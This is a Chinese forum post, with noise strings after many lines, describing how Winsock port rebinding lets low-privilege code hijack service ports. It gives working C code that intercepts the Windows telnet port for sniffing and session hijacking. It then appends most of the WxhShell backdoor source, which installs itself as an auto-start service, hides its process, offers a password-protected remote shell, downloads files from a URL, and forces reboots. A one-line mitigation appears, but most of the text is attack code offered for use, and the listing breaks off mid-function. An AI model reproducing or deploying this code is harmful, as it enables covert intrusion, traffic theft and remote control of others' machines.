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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NnAIL;WS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ar)EbGId  
]aIHd]B  
  saddr.sin_family = AF_INET; nReIi;pi  
JL {H3r&/S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {+lU4u  
|OLXb+ 7X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r`- 8+"P  
fgqCX:SWz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }k.yLcXM  
{>km]CG  
  这意味着什么?意味着可以进行如下的攻击: reR@@O  
iY>P7Uvvz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >)D=PvGlmp  
Ys.GBSlHG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .-YE(}^  
Yz;7g8HI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3D6&0xTq  
53hX%{3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &B5&:ib1D  
`a52{Wa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d%I7OBBx@  
o~'p&f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qUfoEpW2=6  
GLIY!BU<C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )&E]   
 3*Q=)}  
  #include - "zW"v)\  
  #include ;'Hu75ymo  
  #include 8GBKFNR 8  
  #include    E q4tcZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]-t>F  
  int main() b~UWFX#U  
  { kB?/_a`]  
  WORD wVersionRequested; 1>[#./@  
  DWORD ret; ktPM66`b  
  WSADATA wsaData; z4 =OR@ h  
  BOOL val; sf$hsPC^  
  SOCKADDR_IN saddr; Y;R,ph.a  
  SOCKADDR_IN scaddr; GPni%P#a@0  
  int err; ts<\n-f  
  SOCKET s; rV\G/)xL  
  SOCKET sc; }8AH/  
  int caddsize; kxJs4BY0  
  HANDLE mt; GH':Yk  
  DWORD tid;   5=*i!c _m  
  wVersionRequested = MAKEWORD( 2, 2 ); 5$!idfDr|m  
  err = WSAStartup( wVersionRequested, &wsaData ); +UWv}|  
  if ( err != 0 ) { ?#a&eW  
  printf("error!WSAStartup failed!\n"); i\;ZEM{  
  return -1; :ek^M (  
  } [^GBg>k  
  saddr.sin_family = AF_INET; &3IkC(yD  
   sCJ|U6Q-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;1yF[<a  
,~,q 0PA7J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rMVcoO@3  
  saddr.sin_port = htons(23); Q\zaa9P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %7 -(c  
  { hlre eXv  
  printf("error!socket failed!\n"); )n"0:"Ou  
  return -1; 2u-J+  
  } u`wD6&y*  
  val = TRUE; QDj%m%Xd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KaMg [ G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )-"<19eu  
  { Z796;qk  
  printf("error!setsockopt failed!\n"); u[KxI9Q  
  return -1; >VZxDJ$R  
  } G0m$bi=z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4S*ifl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v6DjNyg<x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >l8?B L  
qi/k`T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /tG as  
  { S@!_{da  
  ret=GetLastError(); s]e `q4ip  
  printf("error!bind failed!\n"); 8 pf]M&  
  return -1; Jw=7eay$F  
  } &x B^  
  listen(s,2); k?HdW(HA  
  while(1) @C^x&Sjm  
  { SVZ@'X\[M  
  caddsize = sizeof(scaddr); F#yn'j8  
  //接受连接请求 Y,L[0%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X]9<1[f  
  if(sc!=INVALID_SOCKET) lH?jqp  
  { q{}5wM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [(g2u@  
  if(mt==NULL) _\yR/W~  
  { ]%-U~avph  
  printf("Thread Creat Failed!\n"); 4Th?q{X  
  break; g$2#TWW5  
  } [;aM8N  
  } /2d>nj  
  CloseHandle(mt); $bp$[fX(e  
  } sqpo5~  
  closesocket(s); }D!tB  
  WSACleanup(); .fqy[qrM  
  return 0; L'a+1O1q&i  
  }   HCrQ+r{g  
  DWORD WINAPI ClientThread(LPVOID lpParam) LUxDP#~7  
  { CAviP61T  
  SOCKET ss = (SOCKET)lpParam; Rs{8vV  
  SOCKET sc; doTbol?+  
  unsigned char buf[4096]; &c "!Y)%G  
  SOCKADDR_IN saddr; >Vx_Xv`Jwb  
  long num; ]v5/K  
  DWORD val; LH}9&FfjU  
  DWORD ret; VJw7defc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;X]B0KFe7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I)#8}[vK  
  saddr.sin_family = AF_INET; rSt5 @f?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vO$cF*  
  saddr.sin_port = htons(23); m;4ti9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u4T$  
  { q9_AL8_  
  printf("error!socket failed!\n"); y5=,q]Qjk[  
  return -1; I6;6x  
  } yKrb GK*=_  
  val = 100; ID`C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fBZLWfp9  
  { )N~ p4kp  
  ret = GetLastError(); j 7:r8? G  
  return -1; \z2y?"\?  
  } #>KiX84  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NwOV2E6@OW  
  { nu+^D$ait  
  ret = GetLastError(); 3rFku"z T$  
  return -1; w^zqYGxG)  
  } zJ(DO>,p&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fQ1j@{Xa  
  { R=a4zVQ  
  printf("error!socket connect failed!\n"); vy5Fw&?"  
  closesocket(sc); !^y;|9?O  
  closesocket(ss); -3? <Ja  
  return -1; (y?F8]TfM  
  } _kRc"MaB  
  while(1) e0TxJ*  
  { + \%]<YO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kl~/tbf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h*y+qk-!\g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $Yu'B_E6p  
  num = recv(ss,buf,4096,0); glo G_*W  
  if(num>0) [G|(E  
  send(sc,buf,num,0); B%u[gNZ  
  else if(num==0) +J{ErsG?6P  
  break; _3%:m||,XP  
  num = recv(sc,buf,4096,0); Y)lr+~84f  
  if(num>0) ><IWF#kUA  
  send(ss,buf,num,0); 3mYW]  
  else if(num==0) `Rq|*:LV  
  break; "XV@O jr E  
  } (O(TFE5^  
  closesocket(ss); M0C)SU5"  
  closesocket(sc); ^{IZpT3  
  return 0 ; ;u(*&vRqr^  
  } GTfM *b  
aj|PyX3P:  
#6#n4`%ER  
========================================================== R!/JZ@au<  
4P)#\$d:  
下边附上一个代码,,WXhSHELL hTO 2+F*  
Va.TUz4  
========================================================== NL `  
MUZ]*n&0  
#include "stdafx.h" }&7kT7ogO  
vf>d{F^rv  
#include <stdio.h> Bi;a~qE  
#include <string.h> \$4z@`nY  
#include <windows.h> #l&*&R~>  
#include <winsock2.h> oI`Mn3N  
#include <winsvc.h> 1;kMbl]  
#include <urlmon.h> 8;"%x|iBoL  
g8'8"9:xC  
#pragma comment (lib, "Ws2_32.lib") "]p&7  
#pragma comment (lib, "urlmon.lib") `{K-eHlrM9  
b@4UR<  
#define MAX_USER   100 // 最大客户端连接数 !D{z. KO  
#define BUF_SOCK   200 // sock buffer HH6H4K3Zj  
#define KEY_BUFF   255 // 输入 buffer ^|vk^`S  
bG"FN/vg  
#define REBOOT     0   // 重启 r|ZB3L|7  
#define SHUTDOWN   1   // 关机 $$0 < &  
t1 9f%d  
#define DEF_PORT   5000 // 监听端口 e~)4v  
>{~xO 6H  
#define REG_LEN     16   // 注册表键长度 WdS1v%  
#define SVC_LEN     80   // NT服务名长度 wTR?8$  
jCtk3No  
// 从dll定义API 2P`./1L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,#;`f=aqTG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oF+yh!~mM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `%#_y67v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KLG.?`h:  
r8*xp\/  
// wxhshell配置信息 :+QNN<  
struct WSCFG { .j,xh )v"  
  int ws_port;         // 监听端口 s/J7z$NEU  
  char ws_passstr[REG_LEN]; // 口令 h7K,q  S  
  int ws_autoins;       // 安装标记, 1=yes 0=no x4g6Qze  
  char ws_regname[REG_LEN]; // 注册表键名 yyu-y0_  
  char ws_svcname[REG_LEN]; // 服务名 tFn[U#'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =Oh$pZRymu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nXfz@q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O,^s)>c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ljrJC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6=JJ!`"<2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cpd>xXZz&S  
' ZTRl+  
}; +ru`Zw5,  
.i_ gE5  
// default Wxhshell configuration `g(#~0R  
struct WSCFG wscfg={DEF_PORT, ./7-[d  
    "xuhuanlingzhe", k 75 p  
    1, 6 mLC{X[  
    "Wxhshell", {P?DkUO}  
    "Wxhshell", O{byMV{Ou  
            "WxhShell Service", 1#"wfiW  
    "Wrsky Windows CmdShell Service", B[8 RBTsA  
    "Please Input Your Password: ", 7yg {0a  
  1, [D+PDR  
  "http://www.wrsky.com/wxhshell.exe", GFbn>dY  
  "Wxhshell.exe" V#b*:E.cA  
    }; <x;g9Z>(  
jM6$R1HX  
// 消息定义模块 ] X]!xvN@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B&59c*K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $?:IRgAr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W6EEC<$JL  
char *msg_ws_ext="\n\rExit."; Q2)5A& U\  
char *msg_ws_end="\n\rQuit."; XZ$g~r  
char *msg_ws_boot="\n\rReboot..."; Dqwd=$2%  
char *msg_ws_poff="\n\rShutdown..."; sP@XV/`3L6  
char *msg_ws_down="\n\rSave to "; 8aRmHy"9l  
}mZCQJ#`  
char *msg_ws_err="\n\rErr!"; ^_G#JJ\@$  
char *msg_ws_ok="\n\rOK!"; 6z~ [Ay  
3 Z SU^v  
char ExeFile[MAX_PATH]; Ux" ^3D  
int nUser = 0; CP"5E?dcK  
HANDLE handles[MAX_USER]; RmKbnS $*q  
int OsIsNt; ~PF,[$?4n  
Pk5\v0vkg  
SERVICE_STATUS       serviceStatus; >yVrIko  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JDnWBEV  
~/SLGyu  
// 函数声明 9,Dw;|A]  
int Install(void); 0VR,I{<.{  
int Uninstall(void); 4Vf-D% h>a  
int DownloadFile(char *sURL, SOCKET wsh); 32J/   
int Boot(int flag); <daH0l0  
void HideProc(void); 9_&]7ABV  
int GetOsVer(void); $E:z*~ ?  
int Wxhshell(SOCKET wsl); ^Vh^Z)gGi  
void TalkWithClient(void *cs); ' t(#HBU  
int CmdShell(SOCKET sock); *n@rPr-  
int StartFromService(void); v/]xdP^Z  
int StartWxhshell(LPSTR lpCmdLine); Y@ ;/Sf$Q  
8?EKF+.u|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Te)%L*X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BgCEv"G5  
`+TC@2-?  
// 数据结构和表定义 '{JMWNY  
SERVICE_TABLE_ENTRY DispatchTable[] = }Sh@.3*  
{ }\N ~%?6D  
{wscfg.ws_svcname, NTServiceMain}, xQ?$H?5B<  
{NULL, NULL} qIzv|Nte  
}; eK3d_bF+  
bccf4EyQ Y  
// 自我安装  UiK)m:NU  
int Install(void) ZS_  z  
{ T|YMU?4  
  char svExeFile[MAX_PATH]; yQu/({D  
  HKEY key; 98zJ?NaD&  
  strcpy(svExeFile,ExeFile); ~ U8#yo  
9K&YHg:1  
// 如果是win9x系统,修改注册表设为自启动 K;\fJ2ag  
if(!OsIsNt) { 1Nv qtVC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Fl.W}?Q}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M M @&QaK  
  RegCloseKey(key); rO1N@kd/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DYZk1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gK *=T  
  RegCloseKey(key); wz:,gpH  
  return 0; rF?QI*`Y(  
    } (8W ?ym  
  } pF~aR]Q  
} }.=wQ_  
else { efbJ2C  
Je'%EJ  
// 如果是NT以上系统,安装为系统服务 '2<N_)43$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }b<w\9AF  
if (schSCManager!=0) [*ug:PG  
{ $9Xn.,W  
  SC_HANDLE schService = CreateService 1':};}dCJ  
  ( {ueDwnZ  
  schSCManager, rXGaav9  
  wscfg.ws_svcname, ldaT: er9  
  wscfg.ws_svcdisp, J}@.f-W\j  
  SERVICE_ALL_ACCESS, _t X1z ^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FPE6H:'  
  SERVICE_AUTO_START, #xq|/JWs  
  SERVICE_ERROR_NORMAL, ?%Pi#%P  
  svExeFile, vhU $GG8  
  NULL, XzBl }4s  
  NULL, 56Lt "Z F  
  NULL, RtaMrG=D  
  NULL, \:Hh'-77q  
  NULL [A;0I jKam  
  ); U:aaa  
  if (schService!=0) =| r% lx  
  { q{q;X{  
  CloseServiceHandle(schService); h)r=+Q\'(S  
  CloseServiceHandle(schSCManager); 1:I _ ;O_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b^P\Kky  
  strcat(svExeFile,wscfg.ws_svcname); gb^'u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  `7V'A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >(Wt  
  RegCloseKey(key); 5S7ATr(*  
  return 0; BUBtK-n~"3  
    } ^w jMu5f  
  } G$lE0_j2{  
  CloseServiceHandle(schSCManager); d8^S~7  
} fhki!# E8M  
} a7z% )i;Z  
Nqj5,9*c  
return 1; JWxSN9.X  
} ae+*gkPv8  
'z};tIOKJk  
// 自我卸载 c8o2* C$  
int Uninstall(void) -}>H3hr  
{ Ee$F]NA  
  HKEY key; Sjmq\A88dc  
,YrPwdaTB  
if(!OsIsNt) { Ige*tOv2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RE;)#t?K  
  RegDeleteValue(key,wscfg.ws_regname); llpgi,-=  
  RegCloseKey(key); r)dXcus  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T'14OU2N{Y  
  RegDeleteValue(key,wscfg.ws_regname); (6)X Fp&  
  RegCloseKey(key); o<Rrr,  
  return 0; ;Z&w"oSJ  
  } j|r$ ! gV  
} '81WogH:  
} OV7SLf  
else { n*eqM2L  
pG$l   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S <++eu  
if (schSCManager!=0) sFRQFX0XoY  
{ uX&Tn1Kg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l]5!$N*  
  if (schService!=0) ((fFe8Rn)q  
  { vPu {xy  
  if(DeleteService(schService)!=0) { M9(Kxux#  
  CloseServiceHandle(schService); QLH6Nmk  
  CloseServiceHandle(schSCManager); +Jq~39  
  return 0; zj;Ktgc E  
  } ~H626vT37  
  CloseServiceHandle(schService); )dRB I)P  
  } <TEDs4 C  
  CloseServiceHandle(schSCManager); 8H{9  
} 8-Z|$F"  
} 0(|36 ;x  
)KN]"<jB  
return 1; h]^= y.Q  
} =#?=Lh  
t,yMO  
// 从指定url下载文件 D{]9s  
int DownloadFile(char *sURL, SOCKET wsh) $4>x4*  
{ T'%R kag>  
  HRESULT hr; k= .pcDX  
char seps[]= "/"; 6p~8(-nG  
char *token; .!g  
char *file; TI637yqCU  
char myURL[MAX_PATH]; V_H0z  
char myFILE[MAX_PATH]; frbeCBP&)  
T:w%RF[v9  
strcpy(myURL,sURL); 5G WC  
  token=strtok(myURL,seps); [mG:PTK3  
  while(token!=NULL) ' "o2;J)7  
  { vb]H $@0  
    file=token; 2P VQSwW:  
  token=strtok(NULL,seps); esHcE{GNOS  
  } TZE;$:1vx>  
+(o]E3  
GetCurrentDirectory(MAX_PATH,myFILE); T=T1?@2C  
strcat(myFILE, "\\"); .v#Tj|w^  
strcat(myFILE, file); E"t79dD  
  send(wsh,myFILE,strlen(myFILE),0); [gE2;J0*  
send(wsh,"...",3,0); d>`s+B9K0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jgzg[6  
  if(hr==S_OK) h1QrFPQnu  
return 0; 7j{63d`2  
else gib;> nuBK  
return 1; ne'Y{n(8%  
Jnq}SUev  
} 2~W8tv0^b2  
NAEAvXj  
// 系统电源模块 ?lQ-HOAw  
int Boot(int flag) h Ap(1h#m  
{ )gKX +'  
  HANDLE hToken; r[kmgPld  
  TOKEN_PRIVILEGES tkp; 3rVWehCv  
kntn9G  
  if(OsIsNt) { _{0IX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9rM6kLD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7! #34ue  
    tkp.PrivilegeCount = 1; Y-:dPc{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C3e0d~C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4[f>kY%[  
if(flag==REBOOT) { Te&5IB-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~#9(Q  
  return 0; FKkL%:?  
} iea7*]vW  
else { (&-!l2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]s^Pw>/`  
  return 0; t,R4q*  
} Q`[J3-Q*{  
  } Iq: G9M  
  else { iig@$ i#  
if(flag==REBOOT) { ($^=f}+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $}Ky6sBnvO  
  return 0; vS+E`[  
} tJZ3P@ L  
else { g7<u eF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #(Ezt% ^  
  return 0; {&s.*5  
} ?M@ff0  
} DeR C_ [  
-!pg1w06  
return 1; 3`DwKv `+  
} x_BnWFP  
* odwg$  
// win9x进程隐藏模块 kU[#. y=%p  
void HideProc(void) ? EXYLG  
{ fs%l j_t  
~YCZvJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o_&*?k*  
  if ( hKernel != NULL ) j+Q E~L  
  { "2 J2za  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zT"W(3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "gGv>]3  
    FreeLibrary(hKernel); eU m,=s  
  } /&g~*AL  
]R8JBnA  
return; rQ287y{  
} cXG$zwS\  
jp P'{mc  
// 获取操作系统版本 Wd/m]]W8Q  
int GetOsVer(void) r@]iy78 j  
{ .3< sv  
  OSVERSIONINFO winfo; 3eJ"7sftW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kESnlmy@J  
  GetVersionEx(&winfo); cr<ty"3\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /;a b"b  
  return 1; /U =eB?>  
  else 4]%v%6 4U  
  return 0; },(Ln%M  
}  ~xV|<;  
Ym/y2B(  
// 客户端句柄模块 |sklY0?l(  
int Wxhshell(SOCKET wsl) sj\kp ni  
{ -|nHwSrCZ/  
  SOCKET wsh; Iji9N!Yx  
  struct sockaddr_in client; %SlF7$  
  DWORD myID; [_wenlkm  
"`8~qZ7k  
  while(nUser<MAX_USER) ?wYvBFRn7"  
{ K1*]6x,  
  int nSize=sizeof(client); 3lD1G~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |\_d^U &`  
  if(wsh==INVALID_SOCKET) return 1; fPu,@ L  
^TCgSi7k`L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qJPEq%'Q  
if(handles[nUser]==0) w.6Gp;O  
  closesocket(wsh); %q)*8  
else g6 Nw].{  
  nUser++; .cA'6J"Bm\  
  } :bV1M5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DQRr(r~2Kj  
yi$Jk}w  
  return 0; ohj(1jt  
} 9$oU6#U,h  
1feS/l$  
// 关闭 socket I-?Dil3  
void CloseIt(SOCKET wsh) Jt}0%C3d  
{ >@wyiBU  
closesocket(wsh); hAv.rjhw_  
nUser--; _k2*2db   
ExitThread(0); nFY6K%[  
} VQ((c:+!  
/WWD;keP5  
// 客户端请求句柄 :Mq-4U.e  
void TalkWithClient(void *cs) q=(.N>%  
{ 5<?s86GHh'  
zOzobd   
  SOCKET wsh=(SOCKET)cs; :^oF0,-qZ  
  char pwd[SVC_LEN]; HHU0Nku@ho  
  char cmd[KEY_BUFF]; Q1?09  
char chr[1]; 2 N$yn  
int i,j; \6z_ ;  
[[sfuJD  
  while (nUser < MAX_USER) { Rx>>0%e.  
6 (@U+`  
if(wscfg.ws_passstr) { 6~_ TXy/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FG[YH5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bQFMg41*w7  
  //ZeroMemory(pwd,KEY_BUFF); mz kv/  
      i=0; rp^G k  
  while(i<SVC_LEN) { <>tQa5;  
2IGoAt>V  
  // 设置超时 X[{tD#  
  fd_set FdRead; cun&'JOH?U  
  struct timeval TimeOut; 7@*l2edXm+  
  FD_ZERO(&FdRead); E=9xiS  
  FD_SET(wsh,&FdRead); ,J63 ?EQ3  
  TimeOut.tv_sec=8; v Ol<  
  TimeOut.tv_usec=0; ~p0M|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'ixu+.ZL/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VkChRzhC  
1>"[b8a/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jjLwHJ  
  pwd=chr[0]; h &R1"  
  if(chr[0]==0xd || chr[0]==0xa) { ,|r%tNh<8$  
  pwd=0; D#I^;Xg0h  
  break; u6#=<FD/}  
  } 9< $n'g  
  i++; {+V]saYP  
    } eXdE?j  
Z+G.v=2q<  
  // 如果是非法用户,关闭 socket y$7vJl.uS/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8:)W!tr  
} ,fa'  
2[8C?7_K0?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }KZt7)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |)vC^=N{+  
2sryhS'(H  
while(1) { IW<nfg  
BlrZ<\-/  
  ZeroMemory(cmd,KEY_BUFF); (ndTEnpp  
L~u@n24  
      // 自动支持客户端 telnet标准   L~PBD?l  
  j=0; j~Cch%%G  
  while(j<KEY_BUFF) { <HC5YA)4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w#!^wN  
  cmd[j]=chr[0]; I \DH  
  if(chr[0]==0xa || chr[0]==0xd) { XFiP8aX<  
  cmd[j]=0; &=-ZNWNo  
  break; qlJzXq{|`  
  } (WISf}[l;  
  j++; z9B" "ws  
    } bkvm-$/  
^-&BGQM  
  // 下载文件 PS=N]e7k'  
  if(strstr(cmd,"http://")) { 4|#@41\ B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jrKRXS  
  if(DownloadFile(cmd,wsh)) UbnX%2TW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hido[  
  else 1YrIcovi-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z Vin+z  
  } +6$|No  
  else { ls9 28  
|v6kZ0B<  
    switch(cmd[0]) { 7l~d_<h  
  H`:2J8   
  // 帮助 Hv~& RZpe  
  case '?': { dN%*-p(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fzc8)*w  
    break; 8`{)1.d5[  
  } 'kC,pN{->  
  // 安装 N-9Vx#i  
  case 'i': { Sl!#!FGI  
    if(Install()) /YLHg5n8+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R|&Rq(ow"  
    else '[z529HN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q/[g|"  
    break; R'udC}  
    } ?m(]@6qa  
  // 卸载 s6k@WT?"^  
  case 'r': { fK %${   
    if(Uninstall()) uSl&d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3B[1Ae:K  
    else /qd5{%:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Sx(vq6(  
    break; ;Eer  
    } V8Fp1?E9S  
  // 显示 wxhshell 所在路径 {#_CzI.0f  
  case 'p': { ye-EJDZN  
    char svExeFile[MAX_PATH]; U $2"ZyFii  
    strcpy(svExeFile,"\n\r"); DT Cwf  
      strcat(svExeFile,ExeFile); \{8?HjJEM  
        send(wsh,svExeFile,strlen(svExeFile),0); %wDE+&M  
    break; >STAPrBp+  
    } zarxv| }$  
  // 重启 BWWO=N  
  case 'b': { P5K=S.g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +}.~"  
    if(Boot(REBOOT)) vR)f'+_Nz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s<XAH7?0  
    else { w!j'k|b>  
    closesocket(wsh); aWCZ1F  
    ExitThread(0); M&v;#CV  
    } j TyR+#Wn  
    break; ?^Q8#Y^M  
    } 2d#3LnO  
  // 关机 Q:5^K  
  case 'd': { "K9/^S_  
